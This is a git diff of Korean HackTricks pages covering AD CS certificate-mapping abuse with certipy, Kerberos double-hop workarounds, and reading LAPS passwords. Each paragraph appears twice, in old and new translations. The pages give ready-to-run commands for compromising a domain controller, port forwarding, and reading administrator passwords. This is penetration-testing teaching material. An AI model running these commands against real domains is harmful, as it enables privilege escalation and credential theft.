`CertificateMappingMethods`에 `UPN` 비트 플래그 (`0x4`)가 포함되어 있으면, `userPrincipalName` 속성이 없는 모든 계정 B를 포함하여 `GenericWrite` 권한을 가진 계정 A가 손쉽게 침해할 수 있습니다. 이는 기기 계정과 기본 도메인 관리자 `Administrator`를 포함합니다.
|
||||
`CertificateMappingMethods`에 `UPN` 비트 플래그(`0x4`)가 포함되어 있는 경우, `GenericWrite` 권한을 가진 계정 A는 `userPrincipalName` 속성이 없는 계정 B(기계 계정 및 기본 도메인 관리자 `Administrator` 포함)을 손상시킬 수 있습니다.
|
||||
|
||||
여기서의 목표는 `Shadow Credentials`를 통해 `Jane`의 해시를 획득한 다음, `GenericWrite`를 이용하여 `DC$@corp.local`을 침해하는 것입니다.
|
||||
여기서 목표는 `Jane`의 해시를 획득하여 `GenericWrite`를 활용하여 `DC$@corp.local`을 손상시키는 것입니다.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
|
@ -512,32 +511,33 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
`Jane`라는 사용자가 기본 `User` 템플릿을 사용하여 클라이언트 인증용 인증서를 요청합니다.
|
||||
인증서를 요청할 때 `Jane`으로 클라이언트 인증용 기본 `User` 템플릿을 사용합니다.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
`Jane`의 `userPrincipalName`은 이 과정 이후에 원래 값으로 복원됩니다.
|
||||
`Jane`의 `userPrincipalName`은이 프로세스 후에 원래 값으로 되돌립니다.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Schannel을 통해 인증하기 위해 Certipy의 `-ldap-shell` 옵션이 사용되며, 인증 성공은 `u:CORP\DC$`로 표시됩니다.
|
||||
인증을 위해 Schannel을 통해 Certipy의 `-ldap-shell` 옵션이 사용되며, 인증 성공은 `u:CORP\DC$`로 표시됩니다.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
LDAP 셸을 통해 `set_rbcd`와 같은 명령을 사용하여 리소스 기반 제약 위임 (RBCD) 공격을 활성화할 수 있으며, 이는 도메인 컨트롤러를 손상시킬 수 있는 위험을 가지고 있습니다.
|
||||
LDAP 셸을 통해 `set_rbcd`와 같은 명령을 사용하여 리소스 기반 제약 위임(RBCD) 공격을 활성화할 수 있으며, 이는 도메인 컨트롤러를 잠재적으로 침해할 수 있습니다.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
이 취약점은 `userPrincipalName`이 없거나 `sAMAccountName`과 일치하지 않는 모든 사용자 계정에 적용됩니다. 기본적으로 `Administrator@corp.local`은 `userPrincipalName`이 없으며 LDAP 권한이 상승되므로 주요 대상이 됩니다.
|
||||
이 취약점은 `userPrincipalName`이 없는 사용자 계정 또는 `sAMAccountName`과 일치하지 않는 사용자 계정에도 확장됩니다. 기본 `Administrator@corp.local`은 `userPrincipalName`이 기본적으로 없고 LDAP 권한이 상승되어 있기 때문에 주요 대상입니다.
|
||||
|
||||
## 인증서를 통한 도메인 상승 설명 (수동태)
|
||||
|
||||
## 인증서를 통한 포레스트 침투에 대한 설명 (수동태로)
|
||||
### Compromised CAs에 의한 Forest Trusts의 파괴
|
||||
|
||||
**피해 포레스트**의 **루트 CA 인증서**는 관리자에 의해 **계정 포레스트에 공개**되며, **피해 포레스트의 엔터프라이즈 CA 인증서**는 각 계정 포레스트의 `NTAuthCertificates` 및 AIA 컨테이너에 **추가**됩니다. 이러한 배치는 피해 포레스트의 **CA가 관리하는 모든 다른 포레스트에 대한 완전한 제어권**을 부여합니다. 따라서 이 CA가 **공격자에 의해 침투되면**, 피해 포레스트와 계정 포레스트의 모든 사용자 인증서가 **공격자에 의해 위조**될 수 있으며, 이로 인해 포레스트의 보안 경계가 깨집니다.
|
||||
**크로스-포레스트 등록** 구성은 비교적 간단하게 이루어집니다. 리소스 포레스트의 **루트 CA 인증서**는 관리자에 의해 **계정 포레스트로 발행**되며, 리소스 포레스트의 **엔터프라이즈 CA** 인증서는 각 계정 포레스트의 `NTAuthCertificates` 및 AIA 컨테이너에 **추가**됩니다. 이러한 배치는 리소스 포레스트의 **CA가 PKI를 관리하는 다른 모든 포레스트에 대한 완전한 제어**를 부여합니다. 만약 이 CA가 **공격자에 의해 침해**된다면, 리소스 및 계정 포레스트의 모든 사용자에 대한 인증서가 **위조**될 수 있어 포레스트의 보안 경계가 깨질 수 있습니다.
|
||||
|
||||
### 외부 주체에게 부여된 인증서 등록 권한
|
||||
### 외부 주체에게 부여된 등록 권한
|
||||
|
||||
다중 포레스트 환경에서는 **인증된 사용자 또는 외부 주체** (엔터프라이즈 CA가 속한 포레스트 외부의 사용자/그룹)가 **인증서 템플릿을 게시**할 수 있는 엔터프라이즈 CA에 대해 주의가 필요합니다.\
|
||||
신뢰 관계를 통해 인증되면 AD에서는 사용자 토큰에 **인증된 사용자 SID**를 추가합니다. 따라서 도메인에 엔터프라이즈 CA가 있고, 해당 템플릿이 **인증된 사용자에게 인증서 등록 권한을 허용하는 경우**, 다른 포레스트의 사용자가 **해당 템플릿을 등록**할 수 있습니다. 마찬가지로, 템플릿에게 **외부 주체에게 인증서 등록 권한이 명시적으로 부여**된 경우, **포레스트 간의 접근 제어 관계**가 생성되어 한 포레스트의 주체가 다른 포레스트의 템플릿을 **등록**할 수 있게 됩니다.
|
||||
다중 포레스트 환경에서는 **인증된 사용자 또는 외부 주체** (엔터프라이즈 CA가 속한 포레스트 외부의 사용자/그룹)에게 **등록 및 편집 권한을 허용하는 인증서 템플릿을 발행하는 엔터프라이즈 CA**에 대해 주의가 필요합니다.\
|
||||
신뢰 관계를 통해 인증되면 AD에서 **인증된 사용자 SID**가 사용자의 토큰에 추가됩니다. 따라서 도메인이 엔터프라이즈 CA를 보유하고 있고 **인증된 사용자가 등록 권한을 허용하는 템플릿**을 가지고 있다면, 다른 포레스트의 사용자가 템플릿을 **등록**할 수 있습니다. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여**된 경우, **다른 포레스트의 템플릿을 등록**할 수 있는 **크로스-포레스트 액세스 제어 관계**가 생성되어 한 포레스트의 주체가 다른 포레스트의 템플릿을 **등록**할 수 있게 됩니다.
|
||||
|
||||
두 시나리오 모두 한 포레스트에서 다른 포레스트로의 **공격 표면이 증가**합니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.
|
||||
두 시나리오 모두 한 포레스트에서 다른 포레스트로의 **공격 표면 증가**로 이어집니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.
|
||||
|
|
|
@ -1,63 +1,66 @@
|
|||
# Kerberos 이중 호핑 문제
|
||||
# Kerberos Double Hop Problem
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 소개
|
||||
|
||||
Kerberos "이중 호핑" 문제는 공격자가 **Kerberos 인증을 두 개의 호핑을 통해 사용**하려고 할 때 발생합니다. 예를 들어 **PowerShell**/**WinRM**을 사용하는 경우입니다.
|
||||
Kerberos "Double Hop" 문제는 **Kerberos 인증을 통해 두 개의** **호핑**을 시도할 때 발생합니다. 예를 들어 **PowerShell**/**WinRM**을 사용하는 경우입니다.
|
||||
|
||||
**Kerberos**를 통해 **인증**이 발생할 때 **자격 증명**은 **메모리에 캐시되지 않습니다**. 따라서, 만약 mimikatz를 실행한다면, 사용자의 자격 증명을 머신에서 찾을 수 없습니다.
|
||||
**Kerberos**를 통해 **인증**이 발생할 때 **자격 증명**이 **메모리에 캐시되지 않습니다.** 따라서 mimikatz를 실행해도 사용자의 자격 증명을 찾을 수 없습니다.
|
||||
|
||||
이는 Kerberos로 연결할 때 다음과 같은 단계를 거치기 때문입니다:
|
||||
이는 Kerberos로 연결할 때 다음 단계를 거치기 때문입니다:
|
||||
|
||||
1. User1이 자격 증명을 제공하고 **도메인 컨트롤러**가 User1에게 Kerberos **TGT**를 반환합니다.
|
||||
2. User1은 **TGT**를 사용하여 Server1에 **연결**하기 위해 **서비스 티켓**을 요청합니다.
|
||||
3. User1은 **Server1**에 **연결**하고 **서비스 티켓**을 제공합니다.
|
||||
4. **Server1**에는 User1의 자격 증명 또는 User1의 **TGT**가 **캐시되어 있지 않습니다**. 따라서, Server1에서 User1이 두 번째 서버에 로그인을 시도하면 **인증할 수 없습니다**.
|
||||
2. User1이 **TGT**를 사용하여 **Server1에 연결**할 **서비스 티켓**을 요청합니다.
|
||||
3. User1이 **Server1에 연결**하고 **서비스 티켓**을 제공합니다.
|
||||
4. **Server1**에는 User1의 자격 증명이 캐시되어 있지 않거나 User1의 **TGT**가 없습니다. 따라서 Server1에서 두 번째 서버에 로그인하려고 할 때 **인증할 수 없습니다.**
|
||||
|
||||
### 제한되지 않은 위임
|
||||
### Unconstrained Delegation
|
||||
|
||||
PC에서 **제한되지 않은 위임**이 활성화되어 있다면, **서버**는 액세스하는 각 사용자의 **TGT**를 **받게 됩니다**. 또한, 제한되지 않은 위임을 사용하면 해당 서버에서 **도메인 컨트롤러를 손상시킬 수 있습니다**.\
|
||||
[**제한되지 않은 위임 페이지에서 자세한 정보**](unconstrained-delegation.md)를 확인하세요.
|
||||
**비제약 위임**이 PC에서 활성화되어 있는 경우, **서버**는 액세스하는 각 사용자의 **TGT**를 **받게** 됩니다. 또한, 비제약 위임이 사용된 경우 아마도 **도메인 컨트롤러를** **손상시킬 수 있습니다.**\
|
||||
[**비제약 위임 페이지에서 자세한 정보 확인**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
이 문제를 피하는 또 다른 방법은 [**안전하지 않은**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**입니다. Microsoft에 따르면:
|
||||
|
||||
> CredSSP 인증은 사용자 자격 증명을 로컬 컴퓨터에서 원격 컴퓨터로 위임합니다. 이는 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 침해당하는 경우, 자격 증명이 전달되면 네트워크 세션을 제어하는 데 사용될 수 있습니다.
|
||||
> CredSSP 인증은 로컬 컴퓨터의 사용자 자격 증명을 원격 컴퓨터로 위임합니다. 이 관행은 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 침해당한 경우 자격 증명이 전달되면 네트워크 세션을 제어하는 데 사용될 수 있습니다.
|
||||
|
||||
보안 문제로 인해 **CredSSP**는 프로덕션 시스템, 중요한 네트워크 및 유사한 환경에서 비활성화하는 것이 매우 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령은 **CredSSP 상태를 확인**할 수 있으며, **WinRM**이 활성화되어 있다면 원격으로 실행할 수도 있습니다.
|
||||
**CredSSP**를 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 **비활성화**하는 것이 매우 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령을 사용하면 **CredSSP 상태를 확인**할 수 있으며, **WinRM**이 활성화되어 있다면 원격으로 실행할 수도 있습니다.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
```
|
||||
## 해결 방법
|
||||
## 해결책
|
||||
|
||||
### Invoke Command
|
||||
|
||||
더블 호핑 문제를 해결하기 위해 중첩된 `Invoke-Command`를 사용하는 방법이 제시됩니다. 이 방법은 문제를 직접 해결하지는 않지만 특별한 구성 없이 해결책을 제공합니다. 이 접근 방식은 초기 공격 머신에서 실행되는 PowerShell 명령 또는 이전에 설정된 첫 번째 서버와의 PS-세션을 통해 보조 서버에서 명령(`hostname`)을 실행할 수 있도록 합니다. 다음은 이 방법의 실행 방법입니다:
|
||||
더블 호핑 문제를 해결하기 위해 중첩된 `Invoke-Command`를 활용하는 방법이 제시됩니다. 이 방법은 문제를 직접 해결하는 것은 아니지만 특별한 구성 없이 해결책을 제공합니다. 이 접근 방식을 사용하면 초기 공격 머신에서 실행되는 PowerShell 명령 또는 처음 서버와 이전에 설정된 PS-Session을 통해 초기 서버에서 두 번째 서버에서 명령(`hostname`)을 실행할 수 있습니다. 다음은 그 방법입니다:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
또 다른 방법으로는 첫 번째 서버와 PS-세션을 설정하고 `$cred`를 사용하여 `Invoke-Command`을 실행하는 것이 작업을 중앙 집중화하는 데 도움이 됩니다.
|
||||
|
||||
### PSSession 구성 등록
|
||||
|
||||
더블 호핑 문제를 우회하기 위한 해결책으로 `Register-PSSessionConfiguration`을 `Enter-PSSession`과 함께 사용하는 방법이 있습니다. 이 방법은 `evil-winrm`과는 다른 접근 방식을 요구하며, 더블 호핑 제한이 없는 세션을 가능하게 합니다.
|
||||
더블 홉 문제를 우회하는 해결책으로 `Register-PSSessionConfiguration`을 `Enter-PSSession`과 함께 사용하는 것이 제안됩니다. 이 방법은 `evil-winrm`과는 다른 접근 방식을 요구하며 더블 홉 제한을 겪지 않는 세션을 허용합니다.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
|
@ -66,28 +69,28 @@ klist
|
|||
```
|
||||
### 포트포워딩
|
||||
|
||||
중간 대상에 대한 로컬 관리자의 경우, 포트 포워딩을 통해 요청을 최종 서버로 보낼 수 있습니다. `netsh`를 사용하여 포트 포워딩을 위한 규칙을 추가할 수 있으며, 포워딩된 포트를 허용하기 위해 Windows 방화벽 규칙도 추가할 수 있습니다.
|
||||
중간 대상의 로컬 관리자는 `netsh`를 사용하여 포트포워딩을 허용하는 규칙을 추가할 수 있습니다. 이를 통해 최종 서버로 요청을 보낼 수 있습니다. Windows 방화벽 규칙도 포워딩된 포트를 허용하도록 설정됩니다.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe`는 WinRM 요청을 전달하는 데 사용될 수 있으며, PowerShell 모니터링이 우려되는 경우 감지가 어려울 수 있는 대안입니다. 아래 명령은 `winrs.exe`의 사용 예시를 보여줍니다:
|
||||
`winrs.exe`는 WinRM 요청을 전달하는 데 사용할 수 있으며 PowerShell 모니터링이 우려되는 경우 덜 감지되는 옵션으로 사용할 수 있습니다. 아래 명령은 그 사용법을 보여줍니다:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
첫 번째 서버에 OpenSSH를 설치하면 더블 홉 문제에 대한 해결책을 제공하며, 특히 점프 박스 시나리오에 유용합니다. 이 방법은 CLI를 사용하여 Windows용 OpenSSH를 설치하고 설정하는 것을 요구합니다. 암호 인증을 구성하면 중개 서버가 사용자를 대신하여 TGT를 얻을 수 있습니다.
|
||||
첫 번째 서버에 OpenSSH를 설치하면 더블 홉 문제에 대한 해결책이 제공되며, 특히 점프 박스 시나리오에 유용합니다. 이 방법은 Windows용 OpenSSH의 CLI 설치와 설정을 필요로 합니다. 암호 인증으로 구성된 경우 중간 서버가 사용자를 대신하여 TGT를 획득할 수 있습니다.
|
||||
|
||||
#### OpenSSH 설치 단계
|
||||
|
||||
1. 최신 OpenSSH 릴리스 zip 파일을 다운로드하고 대상 서버로 이동합니다.
|
||||
2. 압축을 해제하고 `Install-sshd.ps1` 스크립트를 실행합니다.
|
||||
3. 방화벽 규칙을 추가하여 포트 22를 열고 SSH 서비스가 실행 중인지 확인합니다.
|
||||
2. 압축 해제하고 `Install-sshd.ps1` 스크립트를 실행합니다.
|
||||
3. 포트 22를 열기 위한 방화벽 규칙을 추가하고 SSH 서비스가 실행 중인지 확인합니다.
|
||||
|
||||
`Connection reset` 오류를 해결하기 위해 OpenSSH 디렉토리에 대한 모든 사용자의 읽기 및 실행 권한을 허용하도록 권한을 업데이트해야 할 수도 있습니다.
|
||||
`Connection reset` 오류를 해결하려면, 권한을 업데이트하여 OpenSSH 디렉토리에서 모든 사용자가 읽기 및 실행 액세스를 허용해야 할 수 있습니다.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -98,14 +101,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로**에서 **히어로**로 **AWS 해킹 배우기**</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 기교를 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사 광고**를 보고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 **PDF로 HackTricks를 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,28 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기교를 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/)** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 PR을 제출하여 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)에 참여**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
로컬 관리자 비밀번호 솔루션 (LAPS)은 도메인에 가입된 컴퓨터에 적용되는 **고유하고 무작위로 생성되며 자주 변경되는 관리자 비밀번호**를 관리하기 위해 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에서 안전하게 저장되며 Access Control Lists (ACLs)를 통해 권한이 부여된 사용자만 액세스할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송의 보안은 **Kerberos 버전 5**와 **고급 암호화 표준 (AES)**을 사용하여 보장됩니다.
|
||||
로컬 관리자 비밀번호 솔루션 (LAPS)은 **고유하고 무작위로 생성되며 자주 변경되는 관리자 비밀번호**가 도메인에 가입된 컴퓨터에 적용되는 시스템을 관리하는 데 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에서 안전하게 저장되며, 액세스 제어 목록 (ACL)을 통해 권한이 부여된 사용자만이 액세스할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송의 보안은 **Kerberos 버전 5** 및 **고급 암호화 표준 (AES)**을 사용하여 보장됩니다.
|
||||
|
||||
도메인의 컴퓨터 개체에서 LAPS의 구현은 두 개의 새로운 속성인 **`ms-mcs-AdmPwd`**와 **`ms-mcs-AdmPwdExpirationTime`**을 추가합니다. 이러한 속성은 각각 **평문 관리자 비밀번호**와 **비밀번호 만료 시간**을 저장합니다.
|
||||
LAPS의 구현으로 인해 도메인의 컴퓨터 객체에는 **`ms-mcs-AdmPwd`** 및 **`ms-mcs-AdmPwdExpirationTime`** 두 가지 새로운 속성이 추가됩니다. 이러한 속성은 각각 **평문 관리자 비밀번호**와 **만료 시간**을 저장합니다.
|
||||
|
||||
### 활성화 여부 확인
|
||||
### 활성화되었는지 확인
|
||||
```bash
|
||||
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
|
||||
|
||||
|
@ -33,9 +38,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
|||
```
|
||||
### LAPS 비밀번호 액세스
|
||||
|
||||
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`에서 **LAPS 정책의 원본 파일을 다운로드**할 수 있습니다. 그런 다음 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 패키지의 **`Parse-PolFile`**을 사용하여이 파일을 사람이 읽을 수있는 형식으로 변환 할 수 있습니다.
|
||||
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`에서 **LAPS 정책의 원본을 다운로드**할 수 있으며, 그런 다음 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 패키지의 **`Parse-PolFile`**를 사용하여이 파일을 사람이 읽을 수있는 형식으로 변환 할 수 있습니다.
|
||||
|
||||
또한, **기본 LAPS PowerShell cmdlet**을 사용할 수 있습니다. 단, 액세스 할 수있는 기기에 설치되어 있어야합니다:
|
||||
또한, **기본 LAPS PowerShell cmdlet**은 액세스 할 수있는 기계에 설치되어 있는 경우 사용할 수 있습니다:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -56,7 +61,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|||
# Read the password
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView**는 비밀번호를 읽을 수 있는 사람과 그 내용을 확인하는 데 사용될 수도 있습니다:
|
||||
**PowerView**를 사용하여 **비밀번호를 읽을 수 있는 사용자를 찾아내고 그 내용을 읽을 수 있는 사용자를 찾을 수도 있습니다**:
|
||||
```powershell
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
@ -66,9 +71,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
